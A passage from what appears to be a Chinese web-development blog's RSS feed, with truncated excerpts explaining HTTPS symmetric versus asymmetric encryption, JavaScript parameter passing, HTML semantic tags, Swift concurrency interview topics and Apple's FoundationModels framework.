&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/https/image-05.webp"&gt;&lt;/p&gt;
&lt;h2 id="https用对称加密可行吗"&gt;HTTPS用对称加密可行吗&lt;/h2&gt;
&lt;p&gt;如果通信双方（浏览器和服务器）都各自拥有同样的私钥，在发送方发送数据之前，将数据&lt;code&gt;锁&lt;/code&gt;（加密）起来，然后接收方再用私钥&lt;code&gt;解锁&lt;/code&gt;（解密），这样就能完美的保证通信的安全。但是关键的问题就在于，在通信之前，服务器或者浏览器如何同时拥有一把同样的私钥呢？我们来想想办法：&lt;/p&gt;
&lt;p&gt;1、服务器给浏览器传输私钥&lt;/p&gt;
&lt;p&gt;当浏览器发起请求到服务器时，服务器生成一个私钥，然后传输给浏览器，浏览器拿到之后，他们正式通信就开始用这一个私钥进行加密通信，不就行了？那么问题又来了，假设在传输私钥本身的过程中，被中间人挟持了怎么办？中间人拿到私钥之后，就可以解密通信双方的加密内容了，所以这样做肯定是不可行的。&lt;/p&gt;
&lt;p&gt;2、在浏览器里面预留服务器提供的私钥。如果我们浏览器一开始就预留了目标网站的私钥，那这样通信的时候，就只有天知地知你知我知了，这不就行了？但是问题的关键是，世界上的网站千千万，浏览器要预留全部&lt;code&gt;HTTPS&lt;/code&gt;协议网站的私钥，这显然不可能啊。&lt;/p&gt;
&lt;p&gt;很显然，以上两种假设，都不能实现我们想要的加密效果，所以&lt;code&gt;对称加密&lt;/code&gt;暂时被我们 &lt;code&gt;pass&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="什么是非对称加密"&gt;什么是非对称加密&lt;/h2&gt;
&lt;p&gt;既然对称加密不行，那么我们就需要考虑&lt;code&gt;非对称加密&lt;/code&gt;了，那&lt;code&gt;非对称加密&lt;/code&gt;又是什么呢？&lt;/p&gt;
&lt;p&gt;我们还是来看看还是刚刚上面👆那个&lt;code&gt;运送货物&lt;/code&gt;的例子：&lt;/p&gt;
&lt;p&gt;两个港口需要运送一批货物，发货方发货时，将货物装进集装箱并用一把锁（我们将其称为公钥）将集装箱锁起来，收货方收到货物时，需要用另外一把钥匙（我们将其称为私钥）将集装箱打开，从而取出货物。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意这里的关键是：当通信的一方使用公钥时，另外一方只能使用私钥，反之亦然。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;简单的来说就是有两把密钥，一把叫做公钥、一把叫私钥。用公钥加密的内容必须用私钥才能解开，同理，私钥加密的内容只有公钥能解开。公钥对于私钥来说是非对称的，所以我们把这种加密方式称为&lt;code&gt;非对称加密&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/https/image-06.webp"&gt;&lt;/p&gt;
&lt;h2 id="https用非对称加密可行吗"&gt;HTTPS用非对称加密可行吗&lt;/h2&gt;
&lt;p&gt;我们利用非对称加密来模拟一下浏览器和服务器通信的过程。&lt;/p&gt;
&lt;p&gt;浏览器向服务器发起请求，服务器收到请求之后，将公钥传输给浏览器，然后在接下来的通信中，浏览器要向服务器发送数据时，先用公钥将数据加密，然后发送给服务器，服务器收到之后，再用对应的私钥进行解密，这样就保证了&lt;code&gt;浏览器-&amp;gt;服务器&lt;/code&gt;这条路的数据安全。因为浏览器发送给服务器的数据，只有服务器有私钥能够解密它。那么反过来，&lt;code&gt;服务器-&amp;gt;浏览器&lt;/code&gt;这条路的通信是否安全呢？&lt;/p&gt;
&lt;p&gt;捋一捋刚刚的过程，我们就会发现，一开始我们的服务器将公钥传输给浏览器这一步骤，显然是在明文形式下进行传输的。假设这一过程，我们的公钥被中间人挟持了，想想会发生什么情况？显然有了这个公钥，中间人就能解密由服务器利用私钥加密的数据了，虽然他不能解密浏览器端的数据，但是此时他可以伪造请求，服务器收到请求之后，利用私钥解密请求数据，之后响应请求，并用私钥对响应数据加密，接着返回给请求方，由于此时这个中间人是有对应的公钥的，所以他就能直接解密服务器返回的数据。&lt;/p&gt;</description></item><item><title>默认参数</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-003/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-003/</guid><description>&lt;p&gt;一、参数传递&lt;/p&gt;
&lt;p&gt;代码语言：javascript&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function foo(a, b) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log([a, b]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;foo(1, 2); // 输出 [1, 2]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个例子中，a 和 b 属于函数中的局部变量，只能在函数中访问。调用函数时，传递的数据会根据位置来匹配对应，分别赋值给 a 和 b。&lt;/p&gt;
&lt;p&gt;创建函数时，function 函数名 后面括号中设定的参数被称为形参；调用函数时，函数名后面括号中传入的参数被称为实参。上面例子中，a 和 b 是形参，传入的 1 和 2 是实参。&lt;/p&gt;
&lt;p&gt;因为形参是已声明的变量，所以不能再用 let 和 const 重复声明。&lt;/p&gt;
&lt;p&gt;代码语言：javascript&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function foo(a, b) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let a &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;报错，&lt;/span&gt;a &lt;span style="color:#960050;background-color:#1e0010"&gt;已声明&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; b &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;报错，&lt;/span&gt;b &lt;span style="color:#960050;background-color:#1e0010"&gt;已声明&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;JavaScript 中所有函数传递都是按值传递的，不会按引用传递。所谓的值，就是指直接保存在变量上的值，如果把对象作为参数传递，那么这个值就是这个对象的引用，而不是对象本身。这里实际上是一个隐式的赋值过程，所以给函数传递参数时，相当于从一个变量赋值到另一个变量。&lt;/p&gt;
&lt;p&gt;原始值：&lt;/p&gt;
&lt;p&gt;代码语言：javascript&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function add(num) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return num + 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let count = 5;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let result = add(count); // 此处参数传递的过程可以看作是 num = count
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(count); // 5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;console.log(result); // 6
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;引用值：&lt;/p&gt;</description></item><item><title>语义化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-003/</link><pubDate>Tue, 24 Sep 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-003/</guid><description>&lt;h2 id="html-语义化是什么"&gt;HTML 语义化是什么？&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;HTML 语义化是指使用 HTML 标签来正确地表示文档的结构和内容的方式。通过使用正确的标签和元素，可以使网页的结构更加清晰、易于理解，并且对搜索引擎和辅助技术（如屏幕阅读器）更友好。&lt;/li&gt;
&lt;li&gt;CSS 命名的语义化指的是在给 CSS 类名、选择器和 ID 命名时，使用具有语义的名称来描述元素的用途和功能。这样的命名方式可以使代码更具可读性、可维护性和可拓展性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="为什么需要语义化"&gt;为什么需要语义化？&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;有利于搜索引擎优化（SEO）：搜索引擎依赖于网页的结构和语义来识别和理解网页内容。使用语义化的 HTML 标签可以提高网页在搜索引擎结果的排名，从而提高页面的 SEO（搜索引擎优化）。&lt;/li&gt;
&lt;li&gt;可读性和可维护性：使用语义化的代码可以增强代码的可读性和可维护性，有利于开发人员理解和维护代码。同时，遵循 W3C 标准的团队可以遵循相同的标准，减少差异化，提高团队的效率和协调能力。&lt;/li&gt;
&lt;li&gt;提高可访问性：语义化可以提高网页的可访问性，让页面更容易被搜索引擎、辅助技术（如屏幕阅读器）解析和理解，让更多的人能访问和理解网页。&lt;/li&gt;
&lt;li&gt;可间接提升网页的性能：在传统的 HTML 代码中，有时候会存在一些重复的标签和属性，导致代码冗余。使用语义化的 HTML 代码，可以减少这种冗余，让代码更加简洁和高效。&lt;/li&gt;
&lt;li&gt;面向未来的 HTML ，浏览器在未来可能提供更丰富的支持。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="一些常用的语义化标签及使用场景"&gt;一些常用的语义化标签及使用场景&lt;/h2&gt;
&lt;h3 id="布局相关的语义化标签"&gt;布局相关的语义化标签：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; 标签：用于定义文档或一个节的头部区域。通常包含网页的标题、导航栏、logo 或其他相关信息；作用是为页面提供附加的信息或功能，以帮助用户更好地理解或导航网页内容。适用于表示网页或一个节的顶部区域。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt; 标签：用于定义与页面内容相关但可以被视为独立于主要内容的部分。它通常用于侧边栏、广告、导航链接、附加信息或其他类似的内容。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt; 标签：用于表页面中的一个独立部分，具有明确的主题或目的。例如文章、评论、产品列表、产品规格及描述等。一个页面可以包含多个不同主题的 section ；并且这个标签可以包含标题、段落、列表、表格等其他HTML元素。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; 标签：用于表示导航菜单，包括主导航、子导航、面包屑导航等。这个标签通常包含链接（&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 标签）来指向其他页面或网站的部分。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt; 标签：用于表示文档的页脚，通常包含版权信息、联系方式、法律声明等内容。它通常出现在页面的底部，并且只应该出现一次。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt; 标签：用于表示页面中的主要内容区域，是所有主要内容（包括头部、尾部和侧边栏）的容器。每个&lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt;元素都应该包含独特的内容，这部分内容在页面上是唯一的，且对整个页面来说是重要的。&lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt;标签不能包含在页面其它区块元素中，通常是&lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;的子标签，或者是全局&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;的子标签。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;address&amp;gt;&lt;/code&gt; 标签：用于表示联系信息，通常包含地址、电子邮件地址、电话号码等。这个标签通常用于定义页面或其部分内容的作者或拥有者的联系信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;举个栗子🌰：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 页面的头部 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;header&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;欢迎来到我的网站&lt;span style="color:#f92672"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;这是网站的标题，用于展示网站的核心信息。&lt;span style="color:#f92672"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 导航菜单 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nav&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;首页&lt;span style="color:#f92672"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;关于我们&lt;span style="color:#f92672"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;产品&lt;span style="color:#f92672"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;联系我们&lt;span style="color:#f92672"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/nav&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 主要内容区域 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;main&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 第一个内容区块 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;section&amp;gt;&amp;lt;/section&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 第二个内容区块 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;section&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;aside&amp;gt;&amp;lt;/aside&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;aside&amp;gt;&amp;lt;/aside&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/section&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/main&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 联系信息 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;address&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&lt;/span&gt;联系信息：&lt;span style="color:#f92672"&gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;电话：(123) 456-7890&lt;span style="color:#f92672"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;p&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mailto:example@email.com&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;example@email.com&lt;span style="color:#f92672"&gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/address&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 页面的底部 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;footer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;amp;copy; 2023 My Website. All rights reserved. | 设计：北冥有锅
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/footer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="文本相关语义化标签"&gt;文本相关语义化标签：&lt;/h3&gt;
&lt;h4 id="figure-和-figcaptiondel-和-ins"&gt;figure 和 figcaption、del 和 ins&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; 标签：用于处理带有某些嵌入式内容的一组图，照片，代码清单等。表示独立的内容单元，它可以包含任何与主内容相关的附加内容，包括但不限于：文本内容、媒体文件、交互式内容等。使用&lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt;标签时应当注意内容的独立性和相关性，确保它与主内容是相关的，并且不依赖于主内容而存在。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt; 标签：&lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt;标签是&lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt;元素的一部分，并且它是可选的。它应该包含在&lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt;标签内部，作为其第一个或最后一个子元素。一个&lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt;标签中只能有一个&lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt;标签。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;del&amp;gt; &amp;amp; &amp;lt;ins&amp;gt;&lt;/code&gt; 标签：&lt;br&gt;
&lt;code&gt;&amp;lt;del&amp;gt;&lt;/code&gt; 用作已删除内容的标签。浏览器通常通过在已删除的文本上打一行删除线来呈现它。&lt;br&gt;
&lt;code&gt;&amp;lt;ins&amp;gt;&lt;/code&gt; 用于表示HTML文档中新添加的文本。它通常在文本上带有下划线。&lt;br&gt;
&lt;code&gt;&amp;lt;ins&amp;gt;&lt;/code&gt; 与&lt;code&gt;&amp;lt;del&amp;gt;&lt;/code&gt; 一起使用时更有用，他们都可以使用CSS属性进行更改。&lt;br&gt;
&lt;code&gt;&amp;lt;ins&amp;gt;&lt;/code&gt; 与&lt;code&gt;&amp;lt;del&amp;gt;&lt;/code&gt; 的特定属性：&lt;br&gt;
cite:URL =&amp;gt; 它指定资源的URL，该URL解释更改或删除文本的原因。&lt;br&gt;
datetime:YYYYMMDD || HH:MM:SS =&amp;gt; 它指定更改或删除文本的日期和时间。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;举个栗子🌰：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Swift 面试：并发、async/await 与 Actor 源码解析</title><link>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/concurrency-actor-async/</link><pubDate>Tue, 16 Jun 2026 09:06:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/concurrency-actor-async/</guid><description>&lt;h1 id="swift-面试并发asyncawait-与-actor-源码解析"&gt;Swift 面试：并发、async/await 与 Actor 源码解析&lt;/h1&gt;
&lt;p&gt;Swift Concurrency 面试经常从 &lt;code&gt;async/await&lt;/code&gt; 问起，但真正的重点是：&lt;strong&gt;Task 是结构化并发的执行单元，await 是显式暂停点，Actor 通过隔离和串行执行器保护状态，Sendable 则约束跨并发边界传递的数据。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇文章按面试题展开，把结论落到 Swift 标准库和编译器源码里的 Actor、GlobalActor、MainActor、AsyncLet、TaskGroup、Sendable 和 ActorIsolation。&lt;/p&gt;
&lt;h2 id="面试高频问题"&gt;面试高频问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;async/await 和 GCD 的关系是什么？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;await&lt;/code&gt; 到底表示线程阻塞还是任务暂停？&lt;/li&gt;
&lt;li&gt;Task、async let、TaskGroup 有什么区别？&lt;/li&gt;
&lt;li&gt;Actor 如何保证数据隔离？&lt;/li&gt;
&lt;li&gt;MainActor 是什么，为什么 UI 更新要回到 MainActor？&lt;/li&gt;
&lt;li&gt;GlobalActor 和普通 Actor 有什么区别？&lt;/li&gt;
&lt;li&gt;Sendable 解决什么问题？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Task.detached&lt;/code&gt; 为什么要慎用？&lt;/li&gt;
&lt;li&gt;Actor 之间调用为什么需要 &lt;code&gt;await&lt;/code&gt;？&lt;/li&gt;
&lt;li&gt;Swift Concurrency 是编译器机制还是运行时机制？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="30-秒回答版"&gt;30 秒回答版&lt;/h2&gt;
&lt;p&gt;Swift Concurrency 是编译器、标准库和运行时共同完成的并发模型。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;async/await&lt;/code&gt; 不是对 GCD 的简单语法糖。&lt;code&gt;await&lt;/code&gt; 表示当前异步任务可能在这里暂停，把执行权交还给调度器；等异步结果可用时，再从 continuation 恢复。它不应该理解成“阻塞当前线程等待”。&lt;/p&gt;
&lt;p&gt;Actor 是一种受隔离保护的引用类型。Actor 内部可变状态只能在 actor 隔离域内访问；跨 actor 访问必须异步，编译器会插入隔离检查。运行时通过 executor 保证同一 actor 的隔离状态不会被多个任务同时进入。&lt;/p&gt;</description></item><item><title>FoundationModels</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/foundationmodels/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/foundationmodels/</guid><description>&lt;p&gt;2025年WWDC上，Apple把Apple Intelligence背后的那个&amp;quot;设备端基础模型&amp;quot;第一次对开发者开放——这就是&lt;strong&gt;FoundationModels&lt;/strong&gt;框架。过去要在App里接入LLM，基本只有两条路：调OpenAI/Claude这类云端API，或者自己在端上集成llama.cpp、MLC、Core ML等推理框架。前者有隐私和成本问题，后者有工程门槛和包体积问题。FoundationModels试图提供第三条路：&lt;strong&gt;一个系统级的、免费的、离线可用的、原生Swift的LLM API&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;本文从框架定位开始，一路讲到Guided Generation、Tool Calling、Streaming、Adapter微调等细节，目标是让你在读完后能直接上手用它写出一个生产可用的功能。&lt;/p&gt;
&lt;h2 id="一foundationmodels是什么"&gt;一、FoundationModels是什么&lt;/h2&gt;
&lt;h3 id="11-一句话定义"&gt;1.1 一句话定义&lt;/h3&gt;
&lt;p&gt;FoundationModels是iOS 26 / macOS 26及之后的系统框架，提供对&lt;strong&gt;设备端Apple Intelligence语言模型&lt;/strong&gt;的编程访问能力。模型本身约3B参数，经过4-bit量化，常驻系统，不计入App包体积，所有推理在设备上完成。&lt;/p&gt;
&lt;h3 id="12-能做什么--不能做什么"&gt;1.2 能做什么 / 不能做什么&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;能做&lt;/th&gt;
&lt;th&gt;不能做&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
